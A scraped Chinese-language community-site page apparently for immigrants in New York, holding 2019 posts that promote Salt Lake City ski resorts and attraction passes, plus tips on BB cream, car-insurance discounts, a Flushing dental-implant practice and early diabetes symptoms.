盐湖城不仅是滑雪者的最爱，浪漫多彩的都市生活和众多的旅游景点也备受旅游者的青睐。盐湖城的家庭亲子冬季游乐活动还有哪些呢？借助「盐湖城景点一票通」（Visit Salt Lake Connect Pass），你能以优惠的价格带着家人孩子游览13个景区的16个项目，丰富的选择助你在自助游中顺心如意。

雄浑与浪漫之都盐湖城 Salt Lake Connect Pass

盐湖城景点通票包含的游玩项目贯穿整个盐湖城，例如有市区的克拉克天文馆（Clark Planetarium）、发现之门儿童博物馆（Discovery Gateway Children’s Museum）、莱昂纳多博物馆（The Leonardo Museum）、狮屋食品室（Lion House Pantry）、特雷西百鸟园（Tracy Aviary），大学城区的犹他州自然历史博物馆（Natural History Museum of Utah）、红峰花园（Red Butte Garden）、犹他州霍格尔动物园（Utah’s Hogle Zoo）、遗产公园（This is The Place Heritage Park）、犹他美术馆（Utah Museum of Fine Arts），南谷区的古生物博物馆（Thanksgiving Point’s Museum of Ancient Life）、自然好奇博物馆（Museum of Natural Curiosity）、犹他州奥林匹克公园 Utah Olympic Park等。

克拉克天文馆有超过一万平方英尺的展地，馆内还有3D IMAX剧院（Northrop Grumman 3D IMAX® Theatre）和汉森巨蛋剧院（Hansen Dome Theatre），行星乐趣商店（Planet Fun Store）里有关于天文馆的纪念品。

克拉克天文馆Clark Planetarium

发现之门儿童博物馆成立于1978年，当初由相信实践是孩子最好的学习方式的一群家长和教育家等共同创立，2006年搬到占地六万平方英尺的新馆址，带给孩子亲自动手的乐趣。博物馆用讲习室、活动和展览的方式让家庭成员们在一起创造、学习和做游戏，激发不同年龄的儿童去想象和发现世界的奇妙。

发现之门儿童博物馆Discovery Gateway Children’s Museum

犹他州自然历史博物馆在2019年迎来成立50周年纪念日，这个位于犹他州立大学的博物馆展示着许多恐龙化石等，带你认识古生物的生活、迷人的宝石和矿藏、史前人类的器物和故事。

犹他州自然历史博物馆Natural History Museum of Utah

自然好奇博物馆有超过400种交互式体验，你可以每次选择一种新的冒险方式：如在雨林有古老的废墟和密室，在发现花园有关于对自然的知识，在阿基米得游乐场有六种简单机械让孩子去探索。

犹他州奥林匹克公园有为不同年龄的游客准备的运动项目和活动，大家可以在导游的带领下参观公园和运动员的训练，可以滑彗星长雪橇（Comet Bobsled Ride）等。

犹他州奥林匹克公园 Utah Olympic Park

一票通能比普通对外门票总价节省50%至80%，每张票限一人使用，分为一天、两天、三天或365天的游览期。

一票通有效期	成人	长者（>65岁）	儿童（3～12岁）
1天	$36	$32	$30
2天	$54	$50	$46
3天	$66	$60	$56
365天	$96	$92	$88

一票通只需在网上购买，然后根据邮件或短信提示在手机安装电子票界面，或者直接在家里打印出纸质的通票进行使用。

此外，盐湖城有两千多家餐厅，包括屡获殊荣的米其林星级餐厅，便捷休闲的中档路边餐馆和咖啡馆，还有很多经济实惠的就餐选择，让盐湖城带给你像回家的感觉。

品尝盐湖城出名的当地啤酒

不同国家的美味菜肴

观看体育竞赛也是在盐湖城旅游的一种娱乐方式。有时坐下来看别人运动，尤其看专业选手在赛场上高水平发挥，能感受运动竞技的激情和不懈的体育精神。盐湖城有各种体育运动竞技比赛，从看美国职棒小联盟3A（Triple-A Baseball）到美国职业足球大联盟（Major League Soccer）和NBA美国男子职业篮球联赛，你在盐湖城有全年的机会观看各种体育竞技比赛。

这是个干净安全、价格适中且适合家庭游玩的小家园，又是在住宿、餐饮、景点和娱乐场所有无限选择的大平台。拥有四个世界一流的滑雪度假村，有看似不计其数的体育赛事、博物馆、餐厅、餐车和音乐会，没有其他滑雪胜地能像盐湖城那样多姿多彩，你将在这里找到自己正在寻觅的冒险之旅。

带着「滑雪之城超级通票」和「盐湖城一票通」在盐湖城享受冬日乐趣，在您的人生旅途中留下雄浑与浪漫的记忆。

落日余晖下的盐湖城

（所有图片和视频由盐湖城旅游局提供）

详情请访问：

冬季度假胜地——盐湖城

超级打折滑雪票和景点优惠通票

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电话: 1-800-201-8619

2019-10-17 / by happy1 / in GMAT/GRE, SAT/ACT, 律师/移民/金融, 留学/教育/求职, 移民生活

美国自驾游注意事项

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2019-10-16 / by happy1 / in 律师/移民/金融, 汽车, 汽车/房产/保险, 移民生活

秋天怎么吃才最健康？

秋天怎么吃才最健康？养生/食物/秋天/秋季养生/秋天饮食/入秋饮食/秋天螃蟹/秋天保养/健康/食补

2019-10-16 / by happy1 / in 医疗健康

纽约护肤哪里好？

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2019-10-15 / by happy1 / in 其它

有了这个，美白嫩肌不是梦！

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2019-10-14 / by happy1 / in 其它

美国求职怎样写个人简历

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2019-10-14 / by happy1 / in 其它, 求职, 留学/教育/求职

盐湖城（订票电话：626-425-1129）雄浑与浪漫之都！

盐湖城－雄浑与浪漫之都

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盐湖城，是美国犹他州的首府和最大城市，也是第十九届冬季奥林匹克运动会的举办地。盐湖城以紧靠大盐湖而得名，这里环境优美，生活水平高，发达的医疗水准，是美国最适合居住的城市之一。

盐湖城国际机场是通往美国西部的重要中转机场，非常便捷。盐湖城拥有悠久的历史、众多名胜古迹、世界级的自然历史博物馆、各式各样的购物中心和丰富多彩的城市生活，每年都会吸引许多游客。

盐湖城最中心处就是——城市溪流中心，是目前全美最大的市中心重建多功能购物中心项目之一。独树一帜的建筑风格是购物环境的亮点。透明底玻璃屋顶还可以伸缩,更有趣的是可以让溪流带领你漫步整个购物中心。

盐湖城另一个重要的建筑，是犹他州议会大厦，与旧金山的市政厅相仿佛，它的外型也是仿造美国国会大厦，只是大圆顶用铜包装，远没有旧金山那个金顶来的灿烂。在全年中的任何一天，这栋大厦也对外开放游览并接受自助游。

犹他州是全世界最好的滑雪地之一。每年平均降雪量平均每年都超过500英尺（约13米），总而言之，犹他天生就是滑雪和骑行的胜地。

2019-10-14 / by happy1 / in 律师/移民/金融, 移民生活

四大世界级滑雪场任你驰骋！

2019-10-14 / by happy1 / in 律师/移民/金融, 移民生活

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想要和家人、朋友，来一场实惠又好玩的冬季之旅吗？

来犹他州滑雪吧！

位于犹他州的盐湖城（Salt Lake City）绝对是你滑雪之旅的最佳选择。盐湖城是世界著名的滑雪之城，这里的滑雪场可以满足任何滑雪者的需求。盐湖城的滑雪度假村分布密集，设施顶级。而且最赞的是，这儿的价格十分美好，是非常适合一大群朋友和家人的度假之地。实惠的价格加上顶级的滑雪设施，使犹他州毫无意外的成为了美国西部最棒的家庭滑雪旅行目的地。

被称为“滑雪之城”的盐湖城可不是浪得虚名。在盐湖城国际机场一小时车程范围内，你就能找到拥有世界级设施的10个滑雪度假村。这里有超过1000家餐厅和150家酒店。

盐湖城四大滑雪度假村：

Alta、Brighton、Snowbird、Solitude

这四个度假村平均每年的雪超过500英寸。优质的设施服务和实惠的价格使它们成为世界上最好的家庭滑雪胜地。

Alta
Alta是滑雪爱好者的天堂，平均每年下550英寸的雪。雪质对于滑雪至关重要，最好的雪莫过于粉雪了。Alta这个粉雪天堂拥有具有挑战性的地形，为初学者和中级滑雪者提供10部缆车，通往116条滑雪道。 617米的垂直下降，让你充分体验滑雪的刺激与乐趣。

在Grizzly Gulch Bowl还可以体验雪地履带滑雪 (Snowcat Skiing)。北欧式滑雪爱好者(Nordic Skier) 在这里能享受到长达5公里的维护过的滑道。

特别提醒大家的是，这里只能双板滑雪，不允许单板滑雪哦。

该度假村提供可滑雪进出的旅馆小屋，里面有壁炉和舒适的聚会空间，提供的旅行套餐内包含早晚餐。如果同行的人较多，可选择租住家庭式公寓。这些公寓提供前往滑雪场缆车的便捷班车服务。山上的餐饮选择也很多，从快餐汉堡到高级的精致晚餐，应有尽有。你还可以选择住在Alta Lodge、Rustler Lodge、 Peruvian酒店和Little Cottonwood Canyon地区的一些旅馆小屋。（Alta毗邻Snowbird滑雪场。）在山腰上最经济的选择通常是宿舍风格的客房或在附近的盐湖谷（Salt Lake Valley）住宿。

Brighton
这是个适合家庭的滑雪度假村，也是学习滑雪的好地方，许多当地人的第一次滑雪体验都献给了这个度假村。这里的雪道较平缓、服务态度十分友好，吸引了很多年轻的滑雪者和家庭前来。

Brighton拥有66个滑雪道，可搭乘6个不同的缆车前往。在这里，你将体验到572米的垂直下降，尽情探索美丽的雪景。这个度假村与另一个滑雪度假村Solitude共享边界，你可以使用Sol-Bright Pass自由出入两个度假村。公园和超级雪道区有40个轨道和箱子、一个超炫的音响系统和一个350英尺长、15英尺深的超级滑雪道。这里十分适合练习一些高阶的滑雪技巧。

夜滑(Night Skiing) 可以让你探索太阳下山后的美景。这个滑雪度假村在日落后，有200英亩的照明通宵运行。这里的住宿选择包括小木屋、度假屋租赁、拥有20个房间的Brighton Lodge (10岁以下的儿童免费)、Molly Green’s Tavern。度假村三英里处是提供班车服务的 Silver Fork Lodge 和其餐厅，这是Big Cottonwood Canyon唯一的B&B式酒店。

Snowbird
乘坐空中缆车到11000英尺的峰顶，享受Snowbird山上又陡又深的的急速滑雪道。滑雪爱好者们将在这里获得非常刺激的体验 — 飞下陡峭的滑道、穿过北美唯一的山间滑雪隧道。如果你是中级滑雪者也不用担心，这里还有很多较平缓的滑雪道。

Snowbird的雪持续很长时间。遇上较冷的年份，你甚至可以在7月的时候来这儿滑雪。该度假村提供了一个884米的垂直下降和168条雪道。不管是初学者、中级滑雪者还是专家级滑雪者都能找到适合自己的雪道。你还可以参加这里的山地之旅和雪鞋健行，体验雪地履带滑雪和雪道摩托车。半山腰上有酒店住宿和公寓可出租，如Lodge at Snowbird、Inn at Snowbird和标志性的Cliff Lodge酒店。山上的餐饮选择包括汉堡、披萨、沙拉等。

Solitude
在占地1200英亩的Solitude度假村，你可以享受到平静与安宁。这里有66条雪道、3个碗形区、8部缆车和624米的垂直下降。这个度假村的滑雪道有20％适用于初学者，一半适用于中级滑雪者，还有30％适用于高级滑雪者。

你可以在长10公里的雪鞋步道上享受宁静；在北欧中心(Nordic Centre)长达20公里的越野滑雪道或溜冰场消磨时光。这个宁静的度假村有一座欧洲风格的村庄、超赞的住宿和娱乐活动等着你来探索。Solitude现属于鹿谷(Deer Valley)，他们计划将全面升级这里的住宿小屋、缆车等设施，十分值得期待。

2019-10-14 / by happy1 / in GMAT/GRE, 律师/移民/金融, 留学/教育/求职, 移民生活

在美国生活需要知道的法律常识

2019-10-13 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

【懒女人变美】BB霜要怎样使用才能演绎完美裸妆？附上最新秘诀！

bb霜用法/bb霜推荐/bb霜粉底液/素顏霜/bb霜使用/bb霜化妆/bb霜防晒/bb霜裸妆

BB霜科普

BB霜兼具遮瑕、调整肤色、防晒、细致毛孔，裸妆效果。BB霜混有粉底液，用完后必须使用卸妆水进行卸妆。

BB霜是「Blemish Balm」的缩写，它的颜色成分并不是化工色素而是天然成分，使用后没有丝毫着妆的痕迹，却看起来比平日精致了许多，妆容自然清新，能令肌肤呈现出宛若天然的无瑕美感，健康而有活力，营造裸妆效果。

现在的市场上BB霜，作为第四代BB霜，具有粉底、隔离、遮瑕、防晒、护肤等多重功效，不易堵塞毛孔，具有很好的修饰肤色的功效。可谓满足了很多女性的护肤美容需求，同时使用简单，因而已经成为了女人必备之物，成为懒女人的最爱。

如何挑选BB霜？

不同的肤质需要用不同类型的化妆品。一般是按油性皮肤、中性皮肤及干性皮肤来分，你要根据自己的具体情况来选择。

如果你是油性皮肤，就要选用哑光的BB霜。同时，要尽量挑选含天然植物精华的BB霜。因为这种类型的皮肤很敏感，而含天然植物精华的BB霜不容易刺激皮肤。

如果你是中性皮肤，就可以选用保湿型的BB霜，这样能使你的皮肤看上去更加光滑。如果你想提亮肤色的话，就可以挑选一款同时有美白效果的BB霜。

如果你是干性皮肤，就要选一款水润的BB霜，而不要用那种膏状的，因为膏状的BB状会使皮肤变得更加干燥。另外，你也需要配合使用其他保湿用品。

如何使用BB霜？

用指尖在一小坨BB霜中蘸一蘸，然后涂到脸上。涂的时候一定要先点上去：一点在额头上，一点在鼻尖上，一点在左脸颊上，一点在右脸颊上，还有一点在下巴上。每一点BB霜都必须是等量的。不要一大块一大块地涂抹，BB霜要抹淡淡的一层，否则会显得一脸脂粉气。

将BB霜轻轻拍打开来。用食指及中指画着圈将BB霜轻轻拍打开来。不过拍打的时候，手指不能一直紧压着皮肤，而要起起落落。这样轻柔地拍打，BB霜就能涂得均匀，而且不会刺激皮肤了。从额头开始拍打，然后从中间移向两边的太阳穴，拍打鼻子及下巴上的BB霜，最后拍打脸颊。

用轻拍的方法在眼睛周围抹BB霜，可以防止涂抹时拉扯皮肤，这样容易引起皱纹。

使用BB霜五步曲

第一步：先用洗面奶洗好脸；

第二步：擦上保湿的爽肤水；

第三步：涂上保湿的隔离霜（面霜）；

第四步：擦上BB霜；

第五步：（这一步不是非必需的）使用定妆粉定妆。

使用BB霜秘诀

少量多次的涂抹便是精准控制妆感的诀窍。每次挤出一小砣于手掌上，再用手指轻轻点在额头、脸颊、鼻子、下巴等处，然后拍打至全脸，用轻拍的方式涂抹，让效果更均匀。如果只用 BB霜作底妆，在痘疤、黑眼圈等部位多次，且少量的叠擦上 BB霜，这样就能达到重点遮瑕的效果。

如果是 BB霜之后再使用粉饼，BB霜的使用量就可以减少使用，不然最后可能会由于妆容过于厚重，而达不到轻盈自然的裸妆效果。注意了，最后的定妆粉也只需要薄薄地涂一层即可，这样的化出来的妆容，才会更加自然。

2019-10-12 / by happy1 / in 其它

美国电话公司哪家好?

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2019-10-12 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

在美国生活需要注意的事情

在美国生活的这些常识一定要知道不然会很尴尬美国生活攻略/美国生活常识/美国晾晒内衣裤/美国做生意/美国节假日营业

2019-10-12 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

老人疾病预防

2019-10-11 / by happy1 / in 医疗健康

如何恢復肺健康

2019-10-11 / by happy1 / in 医疗健康

这种白血病来势汹汹，能治愈吗？

2019-10-11 / by happy1 / in 医疗健康

全球女性癌症排名第一的乳癌发病特征是什么？

全球女性癌症排名第一的乳癌发病特征是什么？
有什么最新治疗方法？
如何降低复发机率？

2019-10-11 / by happy1 / in 其它

动手做世界著名的咖啡

动手做世界著名的咖啡各种风味大不同好喝咖啡品种推荐/纯手工咖啡/自制咖啡/维也纳咖啡/卡布奇诺/摩卡薄荷咖啡/土耳其咖啡/玛莉亚•戴丽佳咖啡/冰奶油块咖啡

2019-10-11 / by happy1 / in 其它

怎样在星巴克点饮品？

你还在说是星巴克的粉？这些小细节你都知道吗？怎样在星巴克点饮品/星巴克饮品/星巴克tall/星巴克grand/星巴克venti/星巴克外带/星巴克饮品一览表/星巴克咖啡/星巴克星

2019-10-11 / by happy1 / in 其它

美国保险专家：203-676-7043 史上最实用的节省汽车保费的秘诀！附汽车保险公司价格对比表

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如果你不懂得汽车投保的技巧

咨询电话：203-676-7043

你的保险费可能会比别人高出很多

在美国生活，没有车你寸步难行，汽车已经成为美国的一种必需交通工具。而且美国大多而数州的法律都强制车主买保险，很多初到美国的华人朋友，可能不知道在美国大部分的州，没有购买汽车保险的情况下开车是属于违法的行为。所以，如何购买车险，也成为你在美国的一个必做的功课！

纽约金牌资讯网特别提醒初来美国的华人朋友，美国开车有三样东西一定要随身携带或放在车上，分别是驾照（diver license）、行车执照（registration）以及保险卡（insurance ID card）。开车时若遇到有违章或者因故被警察询问，这三样缺一不可，要是你不能够提供汽车的保险材料，警察就有权力对你进行起诉，轻则罚款，重则坐牢，后果很严重的。

以加州为例，没有保险被抓到的罚则为：

初犯：交通罚款 $100-$200 加上附加罚款 $260-$520

累犯：交通罚款 $200-$500 加上附加罚款 $520-$1300

初犯并且肇事：通罚款 $100-$200 加上附加罚款 $260-$520｜驾照吊销一年｜行照可能吊销

累犯并且肇事：交通罚款 $200-$500 加上附加罚款 $520-$1300｜驾照吊销最多四年｜行照可能吊销

所以在美国，如果你为了省钱不买汽车保险，可不仅仅是捡了芝麻丢了西瓜这么简单，那是要付出惨痛代价的，结论就是不习车保绝对是得不偿失！

让美国保险资讯研究所专家

告诉您在美国节省汽车保费的秘诀

第一步：汽车保险额的因素

当你购买了汽车后，当务之急的事情就是考虑如何选择车险的问题了。首先你要了解的是，决定汽车保险额的因素是哪些？

在美国，汽车保险的价格跟投保者所拥有的汽车的价格，性能，居住地区，汽车颜色，年龄，婚姻状态，有无子女，驾驶记录等若干因素决定。

首先，汽车价格越高，汽车的保险费用也就越高。

第二，汽车的加速性越好，马力越大，相应的保险费用也越高。

第三，汽车投保人所居住的地区不同，价格相差甚远，治安较好，根据统计发生车祸较少的城市，价格就相对好很多

第四，保险公司在保险费用上还会考虑投保人每天开车行驶的距离和每年大致的行驶里程。

第五，投保人的年龄，一般来说25岁以下的青年保费会比较高，尤其是21岁以下。

第六，婚姻状况也是一个重要因素。因为从心理学分析，人在结婚和有了孩子后，责任心会加重，在开车时也就会更加小心。

第七，投保人拥有驾驶执照的时间在保险费用上面也体现的很明显。一般来说持有驾照时间越长，保费会越低。

第八，驾驶记录，如果驾驶记录良好，没有被警察开过罚单，没有出过车祸，那保费每年都会有所递减。如果出过车祸，那接下去的保费就会升高许多。

第九，购买车险时，投保人拥有的汽车数量也是汽车保险费的一个重要因素。如果一个人拥有一辆以上的汽车并且在同一个保险公司购买的汽车保险，保险公司会根据多车优惠计划在保费上给予优惠。

第二步：选择车险种类

美国的车险大致分为五个部分：责任险（Liability），撞车（Collision），意外险（Comprehensive），无保险和保险不足驾驶人保险（Uninsured and Underinsured motorist coverage）,个人伤害防护（Personal Injury protection）。

责任险（liability）：用于赔付在意外事故中对他人造成的人身伤害和财产损失。还包括赔付辩护费和诉讼费。此类险种是法律强制性必须要购买的。

撞车险（collision）：用于赔付汽车因与其他车辆或物体碰撞而发生的损坏。

综合险（comprehensive）：用于赔付被保车辆在汽车事故以外的损失或损坏。综合险覆盖的损失包括火灾，冰雹，水灾，偷盗等。

医疗险（medical）：只要医疗开支是由汽车事故造成的，不论责任方是谁，此险种均会赔付医疗支出。

无保险和保险不足驾驶人保险（Uninsured and Underinsured motorist coverage）：顾名思义，就是在对方没有保险或者保险额度不足时，自己的保险公司给予赔付。

小额的汽车附加险：

除了以上主要的汽车保险项目以外，还有一些小额的汽车附加险：

Rental Reimbursement（租车费用返还）：如果你的车子需要留厂修理，保险会报销这期间你的租车费用，通常会有每天（per-day）以及单次意外总费用（per-accident）的上限。但是注意了，如果你还有其他车子或者你不一定要开车出门的话，这项保险完全不用考量。

Towing and Roadside Assistance（拖车保险）：如果车子半路出问题，保险会提供免费的拖车服务（可能有距离限制）或者其他道路救援服务，例如派人来帮你解决电池没电、没汽油、爆胎换轮胎、车门反锁等等问题。但是注意了，若你购买新车的厂方有提供免费的道路救援服务，或者你加入了一些这类福利的信用卡，也不需要再花钱买拖车保险。

Gap Insurance（差价保险）：负责赔付车子现价（由collision/comprehensive赔付）与贷款额的差价减去deductible。

第三步：

怎样选择最省钱、合理，最合适的汽车保险？

1）了解自己的需求，根据所在地的法律法规，适当选择保险项目

2）了解你自己的汽车，汽车价格，存在的功能，安全性，维修起来的大概费用，选择适合自己需求的保险项目

3）了解自己选择的保险项目，不买不必要的项目

4）了解并找出适合自己的保险折扣

通过综合比较，总结出美国几大保险公司普遍存在的折扣如下：

（下面是针对驾驶身份的汽车保险折扣）

1. 好学生折扣 (Good Student Discount)

2. 住宿生折扣 (Away-From-Home Student/ Resident Student Discount)

如果要去离家很远的地方上学（比如100英哩之外），有可能可符合 Resident Student Discount 折扣，主要是提供因为离家就学的关系而不会开到这辆车，但是在周末或寒暑假时会回家开车的学生族群。

3. 特定组织、学校联盟折扣 (Professional & Academic Organizations, Employee Discounts)

4. 年长者折扣 (Senior/Mature Driver)：许多保险公司也提供年长者保险优惠，通常50岁以上就可符合折扣资格。

5. 军人、联邦政府员工折扣 (Military and Federal Employee)

（下面是针对车辆的汽车保险折扣）

6. 车内安全装置折扣 (Vehicle Safety Equipment Discount)

7. 车辆防盗装置折扣 (Anti-Theft Car Discount)

8. 新车折扣 (New Car Discount)

9. 环保节能车折扣 (Economy Car Discount)：若开电车，某些保险公司可能会给予环保节能折扣 (Save some green for driving green)。

（下面是针对保险内容的汽车保险折扣）

10. 屋主折扣 (Homeowner Driver)

11. 线上保险估价折扣

12. 复合保险折扣 (Multi-Policy/Multi-Line/Bundling Discount)

13. 多辆车折扣 (Multi-Car Discount) 如果向同间保险公司加保其他车的话可享折扣。

14. 一次付清折扣 (Pay-in-Full Discount) 与自动转帐折扣 (Automatic Bill)

15. 换约折扣 (Switch & Save Discount)

16. 电子帐单折扣 (e-Bill Discount)

17. 提前签约折扣 (Early Signing Discount) 如果在你的当期保险尚未到期前，就先签下一期的合约，也有可能打折。

18. 老客户折扣 (Loyalty Discount)

（下面是针对驾驶安全行为的汽车保险折扣）

19. 好驾驶折扣 (Good/Safe Driver Discount)

20. 无肇事求偿纪录折扣 (Accident-Free/Claim-Free Discount)

21. 防御性驾驶训练折扣 (Defensive Driver Discount)

22. 低里程与使用折扣 (Low Mileage and Usage)

23. 保险公司监测系统折扣 (Usage-Based Discount)

第四步：怎样找到保险便宜的车型？

据美国保险资讯研究所(Insurance Information Institute)资料，不同保险公司与不同车型之间，保险费可以相差数百美元。所以你在买新车时，切记一定要选择保险费最便宜的车型哦！通过综合考量与评估，纽约金牌资讯网为来美的华人朋友，找出九款比较经济实惠省钱的汽车车型：

Mazda CX-5
Acura RDX
Jeep Wrangler
Ford Expedition
Volvo XC60
Subaru Outback
GMC Canyon
Subaru Forester
Acura MDX

第五步：不买不需要的保险项目

有许多人只是年复一年的依照旧的保险项目更新汽车保单，即使汽车已经老旧破损了也不管。其实您的汽车经过多年的使用之后，如果已经残破不堪，纵使发生意外事故而有损毁，可能已不值得向保险公司索赔修复或换车费用，建议您就不要再投保碰撞或综合意外险了。

那么如何判断您的汽车不需要投保碰撞或综合意外险呢？美国保险资讯研究所建议，如果您的汽车价值低于保费的10倍，表示没有必要在买上述保险项目。您可以向银行、汽车销售商及汽车估价网站等处查询您的汽车价值。

第六步：避免孩子列为经常驾驶人

如果您的孩子已经离家读大学，可以将他（她）从汽车保险单上的经常驾驶人（Regular driver）变更为偶而驾驶人（Occasional driver），如此可享有最高百分之五十的折扣，因为二十五岁以下的驾驶人，尤其是男性，保费通常是最高的。

偶而驾驶人通常必须居住在离家100英里以外的地方才符合资格。如果您需要将孩子包含在保单内，看看保险公司是否有提供“优良学生折扣（Good student discounts）”，一般而言，平均成绩在B级以上的全职学生便有可能获得此折扣。

第七步：加装防盗设备

汽车加装防盗设备，例如警报器、禁止发动装置、电子追踪系统等，可降低汽车失窃之风险，因此汽车保险公司会给予保费折扣。

一般而言，被动式的防盗装置（通常是在汽车上锁时会同时启动）会有百分之十五至二十的折扣，如果这种防盗装置再与寻回追踪系统（Recovery tracking system）结合，可以获得百分之三十以上的折扣。

此外，如果您的汽车是停在车库内，比停放在街上的失窃风险低，也可以节省保费。

第八步：买安全性较高的车

安全性较高的汽车通常比较贵，如果为了节省保费而去买较贵的车子显然是不划算的。但是如果您正要购买新车，一定要把汽车的安全功能列入考虑，因为这样对您的生命比较有保障，附带的也可以节省汽车保费。

常见的汽车安全功能设备有：自动安全带、防撞气囊、电子防滑稳定控制系统（Electronic Stability Control，简称：ESC）、防锁死刹车系统（Anti-lock Braking System；简称ABS）等。电子防滑稳定控制系统是帮助汽车在恶劣的路况时防止车子打滑失控的装置，美国政府规定2012年以后所有汽车都必须配备此系统。

汽车保险在美国，一般一期为6个月，在车险到期前，保险公司会发邮件，或者邮寄信件给客户，提醒你保险即将过期，并且给出新一期6个月车险的报价供你参考。

下面附上美国部分保险公司的汽车保险价格，以供大家比较：

综上所述，如果你懂得这些技巧，你将为你的汽车保险费节省一大笔开销，恭喜你即将成为汽车投保顾问的汽车达人！金牌资讯网祝大家出行平安，生活美满！

2019-10-10 / by happy1 / in GMAT/GRE, 二手车, 保险/贷款, 其它, 到美必看, 律师/移民/金融, 汽车, 汽车/房产/保险, 留学/教育/求职

舒小泉牙医即刻植牙技术，帮助全牙列缺失患者修复

人生无牙淡如水，有牙能品天下味

在法拉盛开业近20年的舒小泉医师，拥有20多年丰富的临床经验，曾为中科院神经科学博士、华西大学口腔学院毕业及纽约大学牙科博士，为国际植牙学会会员，学历经验半富。

缺失牙本就是痛苦的一件事情，不但享受不了美食，而且还会对自身的健康造成很大的威胁。所以缺失牙给患者带来了很多的烦恼。生活中很多老年人全口缺牙，都希望能做种植牙恢复咀嚼功能。针对全口缺失牙患者来说，全颌即刻种植，只需植入上下各4颗种植体就能重建全口牙齿，不但降低了费用，还减少了手术风险，甚至无需等待植骨。科学研究表明有牙人比无牙人长寿十年。

舒小泉医师表示现在有许多全口缺牙的患者选择做种植牙，但其实不一定要缺一颗种一颗。做全口种植，特别是牙槽骨量不足的患者，其实可以选择全颌即刻种植修复技术，只需植入上下各4颗种植体，就能重建全口牙齿。这种方式的种植体呈30°倾斜，增大骨骼与种植体的接触面，避开了上颌窦和下齿槽神经管等重要解剖结构，即使牙槽骨骨量不足也无需做植骨手术。

全颌即刻种植这种修复方式的效果可媲美真牙，减少了种植体的植入，避免了大量的植骨，还降低种植手术的创伤和风险，更重要的是在植入后患者即可戴上临时牙冠，恢复咀嚼功能，避免了3~6个月的无牙等待时间。对于牙周病比较严重、全口牙齿松动无法保留的人，全颌即刻种植也可以实现一天修复。

最新的下颌全牙列重建技术甚至只需要三颗种植体。减低成本和时间。

全颌即刻种植技术对医生的技术有着极高的要求，由于中远部位的两颗种植体是以倾斜角度植入牙槽骨的，对种植的位置、角度、深度都有着严格要求，不能有丝毫偏差，否则可能导致整个手术失败，需要寻求经验丰富的医师。舒小泉医师电话：(516) 353-1906/。地址：136-36 39 Ave 8FL, Flushing, NY 11354。门诊时间：每周7天9点至6点，欢迎预约。

2019-10-10 / by happy1 / in 医疗健康, 口腔科/眼科/耳科, 求职, 汽车/房产/保险, 留学/教育/求职, 肠胃科/儿科/家庭医生

美签证新规申请人必须承担医保

美签证新规申请人必须承担医保美国签证新规/美国移民签证/申请入境美国/负担美国医保/川普移民政策/ 入境美国负担医保

2019-10-10 / by happy1 / in 律师/移民/金融, 移民/签证/护照

关于松露我们要了解的事情

关于松露你了解多少？什么是松露/松露烹饪/松露料理/黑松露/松露怎么吃/松露挑选/白松露/松露料理菜单/松露保存方法/松露保鲜

2019-10-10 / by happy1 / in 其它

纽约移民体检医生推荐

纽约移民体检政府指定医生-吴旭霞家庭医生内科诊所／法拉盛内科医师诊所入学全身年度体检／最好的华人医生妇科女医生门诊检查健康咨询／疫苗接种打疫苗

2019-10-09 / by happy1 / in 律师/移民/金融, 疫苗, 移民/签证/护照, 移民生活, 美国新闻

在美国买车的流程和需要注意的问题

在美国买车的流程和需要注意的问题美国买车流程/美国全款买车/美国贷款买车/美国汽车保险/美国租约买车/美国买车须知

2019-10-09 / by happy1 / in 二手车, 保险/贷款, 汽车, 汽车/房产/保险

咖啡怎么喝才健康？

咖啡怎么喝才健康？咖啡的功效/咖啡的作用/咖啡效果/咖啡怎么喝最好/咖啡加奶还是不加奶/咖啡怎么喝健康/咖啡对身体有害吗

2019-10-09 / by happy1 / in 医疗健康

纽约周末度假好去处-松岭度假牧场

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2019-10-09 / by happy1 / in 律师/移民/金融, 移民生活

健康问答：糖尿病的初期症狀是什么样？

糖尿病的早期症状是什么，也就是糖尿病早期的征兆是什么？如何能及早发现糖尿病？

糖尿病的病人在发病的早期，大部分病人都没有什么特别的症状，只有一些不引人注意的不舒服的感觉，要是没有刻意去检查的话，根本无从发现。下面将举出糖尿病的十种症状。假如你、你的家人或你的朋友，有出现以下十种症状的迹象，那就是危险的信号，应及早接受医师检查。

频尿且口渴感

由于血糖的上升、而体内又无法充分利用，于是肾脏忙着把无法利用的过多糖分排到尿液中，连带地也把大量水份从体内排出，致频尿且尿量多得异常；由于身体水分大量排出故极需补充水分，致渴感强烈。

饥饿感

由于无法充分利用血液中的糖分，身体内细胞无法获得能源，造成患者喜欢吃大量甜点或零食。
体重发生变化

中年人在不知不觉中罹患了糖尿病，可能会日渐肥胖可是糖尿病严重时，体重会迅即减轻，尤其是年轻人较易有这种倾向。这是因为血液中的葡萄糖不能够充分利用，而过度摄取储存于人体内的脂肪以补充热能，所以身体会迅速消瘦。
容易疲劳

糖尿病人身体容易疲劳、长青春痘、做事无法像往日精神旺盛。这种倦怠感有时是全身，有时仅下半身。例如稍微爬楼梯时，就觉得两腿酸痛，疲累不堪，或饭后感到困怠等。
视力减退

有些人常因视力模糊、眼睛容易疲劳，经眼科医师检后，才发现罹患了糖尿病。糖尿病性网膜症于中高龄的患者较多；而白内障年轻人较易患，所以应特小心。

末稍神经症状

糖尿病人易有顽固性的手脚麻痹与阵痛感。因糖尿病而引起的神经炎脚痛症者较多，有时候会激烈的疼痛。也有人夜间小腿会抽筋。

皮肤搔痒

糖尿病人皮肤的抵抗力也同时减弱，受伤时易引起感染、长疖疮、炎症容易扩张。尤其是女性患者有时会有阴部发痒的情形。

女性月经异常

女性的糖尿病患者，有时月经不规则，或月经禁闭。这是因为缺乏胰岛素的荷尔蒙所致，是性荷尔蒙失去平衡而引起的。
男性阳萎症状

勃起神经与排尿时都是由骶髓中的神经中枢所控制。糖尿病人因人体的糖或维他命代谢异常，会有引发阳萎现象。因此，没有正确的医学常识而任意购服强壮剂、民间药物，对治疗阳萎都无效用。

伤口不易愈合

1.细菌易滋生

因伤口富含糖分，细菌容易滋生。

2.血管增厚高血糖会造成血管增厚，甚至狭窄，导致血液循环不良，使白血球以及氧气难以到达伤口处。

3.神经感觉缺失神经感觉缺失也是高血糖会造成的并发症之一，若病人神经感觉迟钝，伤口部分的感染可能会比较晚或较严重时才会被发现。

4.免疫细胞受影响高血糖影响免疫细胞的功能，伤口会比较容易感染。

